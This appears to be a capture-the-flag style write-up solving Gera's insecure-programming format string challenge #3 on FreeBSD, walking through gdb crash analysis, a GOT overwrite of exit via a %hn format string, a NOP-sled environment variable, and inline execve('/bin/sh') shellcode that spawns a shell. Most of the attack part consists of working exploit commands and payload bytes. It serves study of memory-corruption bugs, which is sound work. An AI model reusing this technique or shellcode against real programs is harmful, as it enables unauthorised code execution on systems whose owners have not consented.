Gera's Insecure Programming Format String #3
This gera's insecure programming challenge is solvable (pwnable) in a similar fashion as my previous post. The challenge's source is posted. The challenge can be found at gera's format string 3
{% highlight c%}
/* fs3.c *
- specially crafted to feed your brain by riq */
/* Not enough resources? */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}
{% endhighlight%}
As shown in the code, we will be able to write two bytes ("%hn"). The targeted platform, once again, is FreeBSD.
{% highlight bash %}
uname -irs
FreeBSD 8.2-RELEASE GENERIC
{% endhighlight %}
{% highlight bash %}
./fs3 AAAA
./fs3 AAAABBBB
Segmentation fault (core dumped)
gdb -q fs3 fs3.core
..snip..
0 0x2816f329 in open () from /lib/libc.so.7
(gdb) x/i $eip
0x2816f329 <open+11965>: mov %dx,(%eax)
(gdb) printf "%#x %#x\n", $eax, $edx
0x42424242 0xa
(gdb) q
{% endhighlight %}
We control where we can write and what to write. The GOT technique is a good option that can be used to exploit this challenge. The READELF(1) revealed the memory offset of all the functions dynamically linked to the compiled binary.
{% highlight bash %}
readelf -r fs3
Relocation section '.rel.plt' at offset 0x298 contains 4 entries:
Offset Info Type Sym.Value Sym. Name
080496ac 00000107 R_386_JUMP_SLOT 00000000 _init_tls
080496b0 00000407 R_386_JUMP_SLOT 00000000 snprintf
080496b4 00000507 R_386_JUMP_SLOT 00000000 exit
080496b8 00000707 R_386_JUMP_SLOT 00000000 atexit
{% endhighlight %}
Since the program ends after the snprintf call, we can use exit's address (0x080496b4). We can only write two bytes (0xffff ~ 65535). If the payload is going to be in an environmental variable, the most significant byte would be 0xbf------.
{% highlight bash %}
./fs3 aaaa
perl -e 'print "\xb6\x96\x04\x08"'
Segmentation fault (core dumped)
gdb -q fs3 fs3.core
..snip..
0 0x000a8302 in ?? ()
(gdb) q
setenv SHELLCODE
perl -e 'print "\x90"x100000 ."\xcc"x1000'
{% endhighlight %}
A large enough payload is needed to make sure that when exit is called it lands somewhere in the NOP-sled. The envirnometal variable was founded at 0xbfbe6910. As mention previously, we need to write the value 0xbfbe to 0x080496b6.
{% highlight bash %}
gdb -q
(gdb) p 0xbfbe-0x000a
$1 = 49076
(gdb) q
./fs3 aaaaperl -e 'print "\xb6\x96\x04\x08"."A"x49076'
Trace/BPT trap (core dumped)
gdb fs3 fs3.core
..snip..
0 0xbfbfeb88 in ?? ()
(gdb) x/i $eip
0xbfbfeb88: int3
(gdb) q
{% endhighlight %}
Now we simply need to replace the "\xcc" with our shellcode and watch the shell spawn.
{% highlight bash %}
setenv SHELLCODE
perl -e 'print "\x90"x100000 ."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"'
./fs3 aaaaperl -e 'print "\xb6\x96\x04\x08"."A"x49076'
$
{% endhighlight %}
Again, bustication completed